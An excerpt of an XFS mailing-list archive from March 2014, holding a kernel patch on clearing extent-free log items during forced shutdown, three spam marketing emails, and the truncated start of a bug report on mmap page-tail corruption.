for ; Fri, 14 Mar 2014 11:37:25 -0500 (CDT) Received: from eagdhcp-232-183.americas.sgi.com (eagdhcp-232-183.americas.sgi.com [128.162.232.183]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9A8528F8040 for ; Fri, 14 Mar 2014 09:37:22 -0700 (PDT) Received: from eagdhcp-232-183.americas.sgi.com (localhost [127.0.0.1]) by eagdhcp-232-183.americas.sgi.com (8.14.5/8.14.5) with ESMTP id s2EGbMPt002476 for ; Fri, 14 Mar 2014 11:37:22 -0500 (CDT) (envelope-from tinguely@eagdhcp-232-183.americas.sgi.com) Received: (from tinguely@localhost) by eagdhcp-232-183.americas.sgi.com (8.14.5/8.14.5/Submit) id s2EGbMvv002475; Fri, 14 Mar 2014 11:37:22 -0500 (CDT) (envelope-from tinguely) Message-Id: <20140314163723.916178776@sgi.com> User-Agent: quilt/0.47-15.17.1 Date: Fri, 14 Mar 2014 11:37:01 -0500 From: Mark Tinguely To: xfs@oss.sgi.com Subject: [PATCH] xfs: free the EFI entries from AIL on forced shutdown Content-Disposition: inline; filename=xfs-remove-efi-entry-before-log-unmount.patch The extent free intention (EFI) and extent free done (EFD) log items are in separate transactions. It is possible that the EFI can be pushed to the AIL before a forced shutdown where it gets stuck for following reasons: No EFD. If freeing the extent fails in xfs_bmap_finish() or xfs_recover_process_efi(), then the corresponding extent free done (EFD) entry will not be created. EFD IOP Abort processing. If xfs_trans_cancel() is called with an abort flag, or if the xfs_trans_commit() is called when the file system is in forced shutdown or if the log buffer write fails, then the EFD iop commands will not remove the EFI from the AIL. If the EFI entry is left on the AIL, xfs_ail_push all_sync() will fail to complete, the unmount will hang, and a reboot is required to get the complete the unmount. A forced shutdown pushs the CIL, so the EFI/EFD on the CIL before the forced shutdown will be processed normally. Aborted EFI/EFD will remove themself. All that remains to be done to is to remove the EFI entries from the AIL in the above listed shutdown cases. Signed-off-by: Mark Tinguely --- Note to Christoph about the xfs_recover_process_efi part of patch: From b90935eaba9eb13c67101e5d723513bc6ca6e722 Mon Sep 17 00:00:00 2001 Date: Sat, 23 Nov 2013 20:11:09 +0100 Subject: [PATCH] xfs: simplify EFI/EFD recovery Use a cancellation table, similar to how we handle buffers instead of abusing the AIL during recovery. http://oss.sgi.com/archives/xfs/2013-12/msg00438.html will place the EFI onto the AIL in xfs_recover_process_efi() by the time the xfs_free_extent() error happens. Therefore the changes in xfs_recover_process_efis() would be the same with or without your new feature. Tested: Recovery - metadata with bad extent. xfs_bmap_finish() - placed errors as if the free extent call failed. - forced shutdown (as if from a different thread) before EFD created. - forced shutdown (as if from a different thread) after EFD created but before xfs_trans_commit() - forced shutdown after xfs_trans_commit() - xfstests ... fs/xfs/xfs_bmap_util.c | 9 +++++-- fs/xfs/xfs_extfree_item.c | 55 ++++++++++++++++++++++++++++++++++++++++++---- fs/xfs/xfs_extfree_item.h | 1 fs/xfs/xfs_log_recover.c | 27 ++++++++++------------ 4 files changed, 71 insertions(+), 21 deletions(-) Index: b/fs/xfs/xfs_bmap_util.c =================================================================== --- a/fs/xfs/xfs_bmap_util.c +++ b/fs/xfs/xfs_bmap_util.c @@ -124,8 +124,12 @@ xfs_bmap_finish( free->xbfi_blockcount))) { /* * The bmap free list will be cleaned up at a - * higher level. The EFI will be canceled when - * this transaction is aborted. + * higher level. If the EFI is still on the CIL, + * then it will be canceled when this transaction + * is aborted. But if the EFI has been pushed onto + * the AIL, then it must be manually removed from + * the AIL. + * * Need to force shutdown here to make sure it * happens, since this transaction may not be * dirty yet. @@ -136,6 +140,7 @@ xfs_bmap_finish( (error == EFSCORRUPTED) ? SHUTDOWN_CORRUPT_INCORE : SHUTDOWN_META_IO_ERROR); + xfs_efi_clear_ail(mp->m_ail); return error; } xfs_trans_log_efd_extent(ntp, efd, free->xbfi_startblock, Index: b/fs/xfs/xfs_extfree_item.c =================================================================== --- a/fs/xfs/xfs_extfree_item.c +++ b/fs/xfs/xfs_extfree_item.c @@ -420,8 +420,15 @@ STATIC void xfs_efd_item_unlock( struct xfs_log_item *lip) { - if (lip->li_flags & XFS_LI_ABORTED) + /* + * Clear the EFI if on AIL when aborting xfs_bmap_finish. + * The forced shutdown will force the log, so other EFDs + * should not be processed from the CIL. + */ + if (lip->li_flags & XFS_LI_ABORTED) { + xfs_efi_clear_ail(lip->li_ailp); xfs_efd_item_free(EFD_ITEM(lip)); + } } /* @@ -439,10 +446,15 @@ xfs_efd_item_committed( struct xfs_efd_log_item *efdp = EFD_ITEM(lip); /* - * If we got a log I/O error, it's always the case that the LR with the - * EFI got unpinned and freed before the EFD got aborted. + * If we got a log I/O error and the EFI is also in this buffer, it + * will be unpinned and freed before the EFD got aborted. But the EFI + * is in an earlier transaction and could be on the AIL when the log + * I/O error happened for this EFD. In that case, manually remove the + * remaining EFIs from the AIL. */ - if (!(lip->li_flags & XFS_LI_ABORTED)) + if (lip->li_flags & XFS_LI_ABORTED) + xfs_efi_clear_ail(lip->li_ailp); + else xfs_efi_release(efdp->efd_efip, efdp->efd_format.efd_nextents); xfs_efd_item_free(efdp); @@ -506,3 +518,38 @@ xfs_efd_init( return efdp; } + +/* Remove all the EFI entries from the AIL using a cursor. + * An error that forces down the filesystem will leave the EFI on + * the AIL and thus prevening xfs_ail_push_all_sync to complete hanging + * the filesystem. + * + * xfs_free_extent failures in xfs_bmap_finish will not even have an EFD + * to match the one on the AIL. + */ +void +xfs_efi_clear_ail( + struct xfs_ail *ailp) +{ + struct xfs_log_item *lip; + struct xfs_efi_log_item *efip; + struct xfs_ail_cursor cur; + + spin_lock(&ailp->xa_lock); + + for (lip = xfs_trans_ail_cursor_first(ailp, &cur, 0); lip != NULL; + lip = xfs_trans_ail_cursor_next(ailp, &cur)) { + /* Ignore non EFI entries. */ + if (lip->li_type != XFS_LI_EFI) + continue; + + /* Remove the EFI entry from the AIL */ + efip = (xfs_efi_log_item_t *)lip; + spin_unlock(&ailp->xa_lock); + xfs_efi_release(efip, efip->efi_format.efi_nextents); + spin_lock(&ailp->xa_lock); + lip = xfs_trans_ail_cursor_next(ailp, &cur); + } + xfs_trans_ail_cursor_done(ailp, &cur); + spin_unlock(&ailp->xa_lock); +} Index: b/fs/xfs/xfs_extfree_item.h =================================================================== --- a/fs/xfs/xfs_extfree_item.h +++ b/fs/xfs/xfs_extfree_item.h @@ -77,5 +77,6 @@ xfs_efd_log_item_t *xfs_efd_init(struct int xfs_efi_copy_format(xfs_log_iovec_t *buf, xfs_efi_log_format_t *dst_efi_fmt); void xfs_efi_item_free(xfs_efi_log_item_t *); +void xfs_efi_clear_ail(struct xfs_ail *ailp); #endif /* __XFS_EXTFREE_ITEM_H__ */ Index: b/fs/xfs/xfs_log_recover.c =================================================================== --- a/fs/xfs/xfs_log_recover.c +++ b/fs/xfs/xfs_log_recover.c @@ -3634,20 +3634,23 @@ xlog_recover_process_data( /* * Process an extent free intent item that was recovered from * the log. We need to free the extents that it describes. + * The caller will free all EFI entries on error. */ STATIC int xlog_recover_process_efi( - xfs_mount_t *mp, - xfs_efi_log_item_t *efip) + struct xfs_mount *mp, + struct xfs_efi_log_item *efip) { - xfs_efd_log_item_t *efdp; - xfs_trans_t *tp; + struct xfs_efd_log_item *efdp; + struct xfs_trans *tp; int i; int error = 0; xfs_extent_t *extp; xfs_fsblock_t startblock_fsb; ASSERT(!test_bit(XFS_EFI_RECOVERED, &efip->efi_flags)); + /* All paths need the XFS_EFI_RECOVERED flag set. Do it here. */ + set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); /* * First check the validity of the extents described by the @@ -3662,12 +3665,6 @@ xlog_recover_process_efi( (extp->ext_len == 0) || (startblock_fsb >= mp->m_sb.sb_dblocks) || (extp->ext_len >= mp->m_sb.sb_agblocks)) { - /* - * This will pull the EFI from the AIL and - * free the memory associated with it. - */ - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); - xfs_efi_release(efip, efip->efi_format.efi_nextents); return XFS_ERROR(EIO); } } @@ -3687,7 +3684,6 @@ xlog_recover_process_efi( extp->ext_len); } - set_bit(XFS_EFI_RECOVERED, &efip->efi_flags); error = xfs_trans_commit(tp, 0); return error; @@ -3718,8 +3714,8 @@ STATIC int xlog_recover_process_efis( struct xlog *log) { - xfs_log_item_t *lip; - xfs_efi_log_item_t *efip; + struct xfs_log_item *lip; + struct xfs_efi_log_item *efip; int error = 0; struct xfs_ail_cursor cur; struct xfs_ail *ailp; @@ -3753,12 +3749,13 @@ xlog_recover_process_efis( error = xlog_recover_process_efi(log->l_mp, efip); spin_lock(&ailp->xa_lock); if (error) - goto out; + break; lip = xfs_trans_ail_cursor_next(ailp, &cur); } -out: xfs_trans_ail_cursor_done(ailp, &cur); spin_unlock(&ailp->xa_lock); + if (error) + xfs_efi_clear_ail(ailp); return error; } From gameing987@gmail.com Fri Mar 14 17:37:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID,T_FRT_FREE autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 7F4577F3F for ; Fri, 14 Mar 2014 17:37:24 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 4D083304048 for ; Fri, 14 Mar 2014 15:37:21 -0700 (PDT) X-ASG-Debug-ID: 1394836638-04cbb054b637e740001-NocioJ Received: from mail-la0-f65.google.com (mail-la0-f65.google.com [209.85.215.65]) by cuda.sgi.com with ESMTP id 7dNjawbzq7pWQUlf (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 14 Mar 2014 15:37:19 -0700 (PDT) X-Barracuda-Envelope-From: gameing987@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.215.65 X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.65] Received: by mail-la0-f65.google.com with SMTP id hr13so566634lab.0 for ; Fri, 14 Mar 2014 15:37:18 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.65] X-Barracuda-IPDD: Level1 [gmail.com/209.85.215.65] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=rhR0a4F/vN8Hd/kl4NPlGaCvaFvFtAJoxFu2/zTzHWY=; b=0NN3fED7Ts/oJZ077bdbLeioOMmdEBh+0ZbYzCV5ZKP4VyIXjNWMj8/rrAxOfFS3Xv pFNk56DO4AtFHqWt6TpSx1m/CXVXzs/RRFVB7xcsU9OAidEYVBG+eSL0593q4BoiIvaE v66mky5m90eBBEbuRpGUF2Yu/JxB8o/1R/Csr2REhCdu9DhgLs/t3kkzZT9vZk18I+8o wXR7/lId8Y/u7ZIRgOMlJGY+ndmDhJbDFzkV/Elv8HZcywDB4U/XvC5mnwtFuhjfDSAG s/C+Z31iPJgaXb03H7wvIIZL0QDGz4LF2HwvFKQK3Pc4BJXL0BylLZPsFPOhbDCyPzWK mbzg== MIME-Version: 1.0 X-Received: by 10.152.246.43 with SMTP id xt11mr3119461lac.34.1394829629772; Fri, 14 Mar 2014 13:40:29 -0700 (PDT) Received: by 10.114.196.232 with HTTP; Fri, 14 Mar 2014 13:40:29 -0700 (PDT) Date: Fri, 14 Mar 2014 16:40:29 -0400 Message-ID: Subject: How To Get Fr*ee Facebook Likes,Friends,And Followers From: gameing987 X-ASG-Orig-Subj: How To Get Fr*ee Facebook Likes,Friends,And Followers To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a1133a7749aee1304f49714c8 X-Barracuda-Connect: mail-la0-f65.google.com[209.85.215.65] X-Barracuda-Start-Time: 1394836639 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-BRTS-Evidence: timsleads.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3895 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --001a1133a7749aee1304f49714c8 Content-Type: text/plain; charset=ISO-8859-1 I'm not sure how long you have been trying to make a living online,but if you've been at it for very long you know the power of finding connections on Facebook and other social sites as well. With over 1 billion members On Facebook,we all should be building a presense with either our profile or better yet a Facebook page. http://socialsharing.timsleads.com/ With all the noise,its hard to get Facebook Likes and followers... The solution? http://socialsharing.timsleads.com/ This new exchange aimed at building your following on Facebook makes it so easy! Just like and follow others to build credits for your pages. http://socialsharing.timsleads.com/ The Great thing is,you can also build your pages on other social platforms as well. Build your following on social sites like; Facebook Google + 1 Linkedin Myspace Pinterest Stumbleupon Twitter Youtube Start build you following right now! http://socialsharing.timsleads.com/ Tim If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --001a1133a7749aee1304f49714c8 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

I'm not sure how long you have been trying to make=
a living online,but if you've been at it for very
long you know = the power of finding connections on
Facebook and other social sites as w= ell.


With over 1 billion members On Facebook,we all
should be buildin= g a presense with either our
profile or better yet a Facebook page.
<= br>
http://socialsharing= .timsleads.com/



With all the noise,its hard to get Facebook Likes
and follow= ers...


The solution?



http://socialsharing.timsleads.com/



This new exchange aimed at building your
following on Facebook makes it = so easy!



Just like and follow others to build credits foryour pages.



http://socialsharing.timsleads.com/


The Great thing is,you can also build your pages
on other social= platforms as well.


Build your following on social sites like;


Facebook

Google + 1

Linkedin

Myspace <= br>
Pinterest

Stumbleupon

Twitter

Youtube




Start build you following right now!


http://socialsharing.timsleads.com/


Tim

If you no longer wish to receive emails from me simp= ly reply
to this email and put unsubscribe in the subject line
--001a1133a7749aee1304f49714c8-- From timellersadvertising@gmail.com Fri Mar 14 19:12:08 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID,T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D3CD07F3F for ; Fri, 14 Mar 2014 19:12:08 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay1.corp.sgi.com (Postfix) with ESMTP id 983328F8064 for ; Fri, 14 Mar 2014 17:12:05 -0700 (PDT) X-ASG-Debug-ID: 1394842320-04bdf076f02dbab0001-NocioJ Received: from mail-ob0-f195.google.com (mail-ob0-f195.google.com [209.85.214.195]) by cuda.sgi.com with ESMTP id ceB2J6VtoSD3t7dX (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Fri, 14 Mar 2014 17:12:00 -0700 (PDT) X-Barracuda-Envelope-From: timellersadvertising@gmail.com X-Barracuda-RBL-Trusted-Forwarder: 209.85.214.195 Received: by mail-ob0-f195.google.com with SMTP id wo20so828382obc.6 for ; Fri, 14 Mar 2014 17:12:00 -0700 (PDT) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=8WN4D8vQJyYtbRzpimiUN0LqLbiNmZXOdiRJCZ7j2Iw=; b=CNp/pJmungERR4A+VIi/AiLra32eMoPfnjs8sfaXoP4f8s+qyc3CxJa5tLi+Turx2l OtZGiLHe09wZN5oF50Oi4wWG5x9PBkcVAqiVLZZqJHNLgV0QCfzceEgD5ILdauaZA0NV owyQHLW63KrQiuk55ZIqTC3LHwZMKd68t1auhzv46DbSnElph3+W5zBRyOdGo34azzGk 8hjW+jHfuaJswartebLUjqufBXJ2f+T7QMEyjF/84/UHmMmNiBCnTnWGnHeGPCtB+bau iL3dAYHUiCM16ddx3ZevOiqdWSDqVqX8EWhuRzNV8cIGMc9d6QtLBOWhA1v8hFR50cu5 Qlew== X-Barracuda-BBL-IP: nil MIME-Version: 1.0 X-Received: by 10.60.172.70 with SMTP id ba6mr8821807oec.17.1394835255872; Fri, 14 Mar 2014 15:14:15 -0700 (PDT) Received: by 10.76.132.199 with HTTP; Fri, 14 Mar 2014 15:14:15 -0700 (PDT) Date: Fri, 14 Mar 2014 18:14:15 -0400 Message-ID: Subject: See How This Fr*ee Article Spinner Creates Unique Content From: timellersadvertising X-ASG-Orig-Subj: See How This Fr*ee Article Spinner Creates Unique Content To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=bcaec54b5366f2636404f49863c1 X-Barracuda-Connect: mail-ob0-f195.google.com[209.85.214.195] X-Barracuda-Start-Time: 1394842320 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3899 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message --bcaec54b5366f2636404f49863c1 Content-Type: text/plain; charset=ISO-8859-1 If your about to delete this because your not a blogger,let me tell you if your in any online business you should be blogging. hear me out for a second... Imagine writing a blog post and gaining people to your list for years to come,it can happen with blogging. If your struggling to get people to your website,blogging is the way to get handsfree from Google. Just imagine getting leadsandsales coming from Google on a daily basis! How would that help your business? How would your life change? Sign up for access for this tool I'm offering today and the sky is the limit! Wouldn't it be great if you could find a way to write and article once and post it to multiple article directories and blogs and and still have Google rate it as unique content... All done for fr*ee! I found a simple tool that will rewrite your articles into brand new ones in just a few seconds. check it out here: http://freearticlespinner.timsleads.com/ the best part is it is absolutely freeee. Enjoy Tim P.S. One thing I really like about this Free Article Spinner is that it takes only a few seconds to have a brand new article that is 100% unique. It is just too risky putting duplicate content on your site. So do not do it. Sign up for the free tool here: Grab your free copy here: http://freearticlespinner.timsleads.com/ If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --bcaec54b5366f2636404f49863c1 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable
If your about to delete this because your not a blogger,le= t
me tell you if your in any online business you should be
blogging.<= br>


hear me out for a second...


Imagine writing a blo= g post and gaining people to your list
for years
to come,it can happen with blogging.


If your strug= gling to get people to your website,blogging
is the way
to get hands= free from Google.



Just imagine getting leadsandsales coming = from Google on a
daily basis!



How would that help your business?


H= ow would your life change?




Sign up for access for this t= ool I'm offering today and the
sky is the limit!



Wouldn't it be great if you could find a way to write and
article on= ce and post it to multiple article directories and
blogs and and still h= ave Google rate it as unique content...


All done for fr*ee!



I found a simple tool that will rewrite your articles into
b= rand new ones in just a few seconds.

check it out here:
http://freearticlespinner.tim= sleads.com/

the best part is it is absolutely freeee.

Enjoy


Tim

P.S.


One thing I really like about this Free Article S= pinner is
that it takes only a few seconds to have a brand new article that is 100% unique.=A0 It is just too risky putting duplicate
content o= n your site.=A0 So do not do it.=A0 Sign up for the
free tool here:
<= br>Grab your free copy here:


http://freearticlespinner.timsleads.com/


If you no longer wish to receive emails from me simply reply
to = this email and put unsubscribe in the subject line
--bcaec54b5366f2636404f49863c1-- From jobsfoundhere@gmail.com Sat Mar 15 14:50:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM,HTML_MESSAGE, T_DKIM_INVALID,T_FRT_FREE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id E881829DF7 for ; Sat, 15 Mar 2014 14:50:20 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id DE6EC30404E for ; Sat, 15 Mar 2014 12:50:17 -0700 (PDT) X-ASG-Debug-ID: 1394913015-04cb6c56755ae000001-NocioJ Received: from mail-yh0-f66.google.com (mail-yh0-f66.google.com [209.85.213.66]) by cuda.sgi.com with ESMTP id PTQq4JHmXlPseHsr (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 15 Mar 2014 12:50:15 -0700 (PDT) X-Barracuda-Envelope-From: jobsfoundhere@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.213.66 X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.66] Received: by mail-yh0-f66.google.com with SMTP id f10so1034631yha.9 for ; Sat, 15 Mar 2014 12:50:15 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.66] X-Barracuda-IPDD: Level1 [gmail.com/209.85.213.66] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=HDeC2uxaF8Yyq0ctxl6HHkqBP7rQgN7ZEF6vZSKpDKE=; b=KXALaiy1nE9hWM+H5A+H2huqsNACLsAvVU7frfiBiuEPXhMgqxboWnJWBpfpB0nFn7 6amU7wCxk9ZFspCFFSbCidkPWXhqLSB/KkLASMH2L4b5gvCSGSpDn5/HkYZLOBGMiMPs 6HquwXteFezVtzPLlYA2H0YDaSHiuc0ySjbh2ORFHzntWxxY4QFDCXGlfiL15xpVJ/rl h4mGKroEUCth776PfNlDSjjALq3F7HnRuOidrMMcBPdjibc7/ofu1fYvdyN4B1wc+5Fx IAfcDlBoeOxO6eh57kvnzCHk6hFaacixnTKNw6fBksDaU4y3NJYaKPRSji8CL9VEJWXE 7+lg== MIME-Version: 1.0 X-Received: by 10.236.7.47 with SMTP id 35mr20569089yho.23.1394906542025; Sat, 15 Mar 2014 11:02:22 -0700 (PDT) Received: by 10.170.195.87 with HTTP; Sat, 15 Mar 2014 11:02:21 -0700 (PDT) Date: Sat, 15 Mar 2014 14:02:21 -0400 Message-ID: Subject: I Found You A Fr*ee Le*ad System From: jobsfoundhere X-ASG-Orig-Subj: I Found You A Fr*ee Le*ad System To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a1134036aeebcaa04f4a8fc6f X-Barracuda-Connect: mail-yh0-f66.google.com[209.85.213.66] X-Barracuda-Start-Time: 1394913015 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC5_SA210e, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3926 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message 0.00 BSF_SC5_SA210e Custom Rule SA210e --001a1134036aeebcaa04f4a8fc6f Content-Type: text/plain; charset=ISO-8859-1 Yes you hear me right,I recently was introduced to an amazing system that literally can generate a Massive Amount of Leadson Auto Pilot... So how does it work? 1) Check it out and sign up (there's no up front or monthly fee ever). 2) Give out the link to your website that will be created automatically for you 3) Every other person who signs up will be yours PLUS every other person that they sign up will be passed up to you! You literally can have others generating thousands for you on Auto Pilot but ... Don't take my word for it, check it out yourself by going to: http://freeleads4u.timsleads.com/ A system everyone needs. These systems come with fully customizable capture pages that you can use to promote your primary product. http://freeleads4u.timsleads.com/ If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --001a1134036aeebcaa04f4a8fc6f Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

Yes you hear me right,I recently was introduced to an<= br>amazing system that literally can generate a Massive Amount
of Leadso= n Auto Pilot...



So how does it work?

1) Check it out = and sign up (there's no up front or monthly
fee ever).
2) Give out the link to your website that will be created
= automatically for you

3) Every other person who signs up will be you= rs PLUS
every other person that they sign up will be passed up to
you!

You literally can have others generating thousands
for you = on Auto Pilot but ...

Don't take my word for it, check it out yo= urself by going
to:

http://freeleads4u.timsleads.com/



A system everyone needs.



=A0These systems come w= ith fully
customizable capture pages that you can use to promote yourprimary
product.

h= ttp://freeleads4u.timsleads.com/


If you no longer wish to receive emails from me simply reply
to = this email and put unsubscribe in the subject line
--001a1134036aeebcaa04f4a8fc6f-- From viro@ftp.linux.org.uk Sat Mar 15 16:02:24 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F37C329DF7 for ; Sat, 15 Mar 2014 16:02:23 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E4E208F8039 for ; Sat, 15 Mar 2014 14:02:20 -0700 (PDT) X-ASG-Debug-ID: 1394917338-04cb6c56775b1aa0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id qgry2VnyRdEHz8D6 (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Mar 2014 14:02:19 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WOvii-0008Vx-Tb; Sat, 15 Mar 2014 21:02:16 +0000 Date: Sat, 15 Mar 2014 21:02:16 +0000 From: Al Viro To: Brian Foster Cc: xfs@oss.sgi.com, Dave Chinner , linux-fsdevel@vger.kernel.org Subject: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140315210216.GP18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1394917338 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3927 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- Regression in xfstests generic/263 is quite real - what happens is that e.g. ltp/fsx -F -H -N 10000 -o 128000 -l 500000 -r 4096 -t 512 -w 512 -Z /mnt/junk where /mnt is on xfs ends up with a very odd file. mmap() of its last page has garbage in the page tail when observed on *any* kernel. Copying that file (with cp -a) yields a copy that doesn't trigger that behaviour. What's more, xfs_repair doesn't notice anything fishy with that sucker. This had been introduced (or, more likely, exposed) by the commit in question. As far as I can see, it's an on-disk corruption of some sort; it *might* be triggered by some kind of dio-related race, but I would be rather surprised if that had been the case - fsx is single-threaded, after all, and making it fsync() *and* mmap/msync/munmap after each write still produces such a file. The file contents per se is fine, it's the page tail on mmap() that is bogus. Filesystem image after that crap is on ftp.linux.org.uk/pub/people/viro/img.bz2; with that image mounted on /mnt we have ; ls -l /mnt/junk -rw-r--r-- 1 root root 444928 Mar 15 16:26 /mnt/junk ; echo $((0x6ca00)) 444928 ; cat >foo.c <<'EOF' #include #include main(int argc, char **argv) { int fd = open(argv[1], 0); char *p = (char *)mmap(0, 0xa00, PROT_READ, MAP_SHARED, fd, (off_t)0x6c000); if (p != (char *)-1) write(1, p + 0xa00, 4096 - 0xa00); } EOF ; gcc foo.c ; ./a.out /mnt/junk | od -c ; cp -a /mnt/junk /mnt/junk1 ; ./a.out /mnt/junk1 | od -c 0000000 \0 \0 \0 